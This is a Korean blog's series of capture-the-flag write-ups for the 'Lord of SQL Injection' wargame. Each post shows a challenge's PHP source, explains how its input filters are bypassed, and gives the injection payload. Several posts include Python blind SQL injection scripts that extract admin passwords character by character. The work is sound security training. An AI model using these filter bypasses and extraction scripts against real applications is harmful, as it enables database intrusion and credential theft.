728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); // shit의 값의 길이가 1보다 크면 안됨.즉 1이어야함.
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); // 스페이스, 개행(%0a), Carriage Return(%0d), Tab(%09) 안됨
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

from과 prob_giant 사이에 띄울 수 있는 길이가 1인 구분자가 필요하다. 

sql의 공백(띄어쓰기) 우회는 다음과 같은 방법이 있다.

1) 개행(\n): 열은 유지한 채 커서를 한 칸 밑으로 이동. %0a

2) Carriage Return(\r): 커서를 왼쪽 끝으로 이동. %0d

3) Tab(\t): 커서를 오른쪽으로 Tab 만큼 이동. 키보드의 Tab키. %09

4) 주석(/**/): SQL에서 여러 줄을 주석처리.

5) 괄호(()): 문자(열) 양 옆에 괄호를 삽입하여 띄어쓰기 대신 문자(열)를 구분.

6) +: MySQL에서 띄어쓰기 역할. ex) select+1,+2; = select 1,2; 와 동일한 결과.

7) vertical tab(\v): 아래로 6줄 이동. %0b

8) form feed(\f): 프린트 출력 시 다음 페이지의 시작 부분으로 이동. %0c

해당 문제는 %0b 또는 %0c를 사용하면 풀린다.

답: ?shit=%0b

728x90

'Lord of SQL Injection' 카테고리의 다른 글

succubus  (0) 2022.12.23
assassin  (0) 2022.12.23
bugbear  (0) 2022.12.22
darkknight  (0) 2022.12.22
golem  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

쿼리 실행결과가 참이면 Hello admin을 출력하는 것을 근거로 Blind SQL Injection을 수행한다.

or 연산자는 ||
공백은 ()
=은 in
'는 "
and는 %26%26

으로 우회한다.

import requests

url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+'?no=123||(id)in("admin")%26%26length(hex(pw))in({})'.format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#52dc3991
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+'?no=123||(id)in("admin")%26%26mid(hex(pw),{},1)in("{}")'.format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=52dc3991

참고) mysql의 hex 함수는 16진수를 반환하는데 0x를 붙이지 않은 형태로 반환한다.
ex) select hex('a')in(0x61) -> 0 반환, select hex('a')in(61) -> 1 반환
python에서 hex 함수는 0x를 붙인 형태로 반환한다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

assassin  (0) 2022.12.23
giant  (0) 2022.12.23
darkknight  (0) 2022.12.22
golem  (0) 2022.12.22
skeleton  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");  // prob(대소문자 모두 필터링), _, ., () 필터링
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");  // pw 값에 ' 필터링
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");  // no 값에 ', substr, ascii 필터링
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

= 대신 like, ' 대신 ", substr 대신 mid 함수를 사용해서 우회했다.

import requests

url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+'?no=123 or id like "admin" and length(hex(pw)) like {}'.format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#0b70ea1f
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+'?no=123 or id like "admin" and mid(hex(pw),{},1) like "{}"'.format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=0b70ea1f

728x90

'Lord of SQL Injection' 카테고리의 다른 글

giant  (0) 2022.12.23
bugbear  (0) 2022.12.22
golem  (0) 2022.12.22
skeleton  (0) 2022.12.22
vampire  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

단계가 높아질 때마다 필터링되는 문자들이 늘어난다. 이번엔 substr( 와 = 이 추가되었다.

앞의 문제에서 언급했듯이 or, and는 각각 ||, &&로 대체가능한데 &는 URL의 예약된 문자이며 URL key를 구분하는 역할을 한다. 따라서 URL 인코딩한 값 %26을 넣어줘야 php에서 '&'문자로 해석한다.

substr함수는 mid, left, right라는 sql함수들로 대체가능하다. 특히 mid 함수는 substr 함수와 사용법이 같다.

= 연산자는 like,in 연산자와 instr함수로 대체가능하다.

실행한 쿼리가 참일때마다 Hello admin이 출력되도록 하여 이를 기반으로 Blind SQL Injection을 실행하였고 비밀번호 길이와 비밀번호를 알아내었다.

파이썬 코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' || id like 'admin' %26%26 length(hex(pw)) like {}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#77d6290b
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' || id like 'admin' %26%26 mid(hex(pw),{},1) like '{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=77d6290b

728x90

'Lord of SQL Injection' 카테고리의 다른 글

bugbear  (0) 2022.12.22
darkknight  (0) 2022.12.22
skeleton  (0) 2022.12.22
vampire  (0) 2022.12.22
troll  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

and와 or의 연산자 우선순위는 and가 더 높기 때문에 먼저 연산된다. 

id가 admin인 쿼리를 완성하는 입력값은 다음과 같다.

답: ?pw=' or id='admin' or '

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkknight  (0) 2022.12.22
golem  (0) 2022.12.22
vampire  (0) 2022.12.22
troll  (0) 2022.12.22
orge  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); // ' 필터링
  $_GET[id] = strtolower($_GET[id]); // 알파벳은 모두 소문자로 변경
  $_GET[id] = str_replace("admin","",$_GET[id]); //admin 문자열을 빈 문자열로 치환
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

id에 admin이 들어가도록 쿼리를 완성해야한다. admin을 admin으로 감싼다. 그럼 안쪽의 admin은 빈 문자열로 치환되서 최종적으로 admin만 남게된다.

답: ?id=adadminmin

728x90

'Lord of SQL Injection' 카테고리의 다른 글

golem  (0) 2022.12.22
skeleton  (0) 2022.12.22
troll  (0) 2022.12.22
orge  (0) 2022.12.22
darkelf  (0) 2022.12.22
728x90
<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); // '(quote) 사용불가
  if(preg_match("/admin/", $_GET[id])) exit("HeHe"); //admin을 사용불가
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

mysql은 대소문자를 구분하지 않음. admin이랑 ADMIN이랑 같음.

답: ?id=ADMIN

728x90

'Lord of SQL Injection' 카테고리의 다른 글

skeleton  (0) 2022.12.22
vampire  (0) 2022.12.22
orge  (0) 2022.12.22
darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); //or, and 필터링
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); //',",\,NUL 바이트는 escape 처리되어 문자 그자체로 인식. 즉, SQL Injection 어려움
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

앞서 풀었던 orc와 푸는 방식은 같다. 필터링 문자만 조금 다를 뿐이다.

참이면 Hello admin을 출력, 거짓이면 Hello admin을 출력하지 않는 쿼리문을 만든다.

이를 바탕으로 비밀번호 길이와 비밀번호를 알아낸다.

import requests

url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' || id='admin' %26%26 length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#7b751aec
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' || id='admin' %26%26 mid(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=7b751aec

728x90

'Lord of SQL Injection' 카테고리의 다른 글

vampire  (0) 2022.12.22
troll  (0) 2022.12.22
darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //prob, _,. () 사용 불가
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");  //or , and 사용 불가
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

or 대신 || 기호를 사용했다.

이 문제에선 쓰이지 않지만 참고로 and 대신엔 && 기호 사용 가능하다.

단, url에선 &가 예약문자이므로 URL 인코딩한 %26을 입력해야 한다.

답: ?pw='||id='admin

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

troll  (0) 2022.12.22
orge  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //prob(또는 PROB), _, .,() 필터링
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); //스페이스바(공백) 필터링
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

preg_match 첫 번째 인자 끝의 i는 대소문자 모두 포함이라는 의미다. 

이 문제는 띄어쓰기를 우회해야한다.

답: ?pw='or%09id='admin

%09 대신 %0d, %0a, /**/ 모두 가능하다. 

?pw='or(id)='admin 도 가능하다.

괄호가 구분해주는 역할을 한다.

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

orge  (0) 2022.12.22
darkelf  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
cobolt  (0) 2022.12.21

+ Recent posts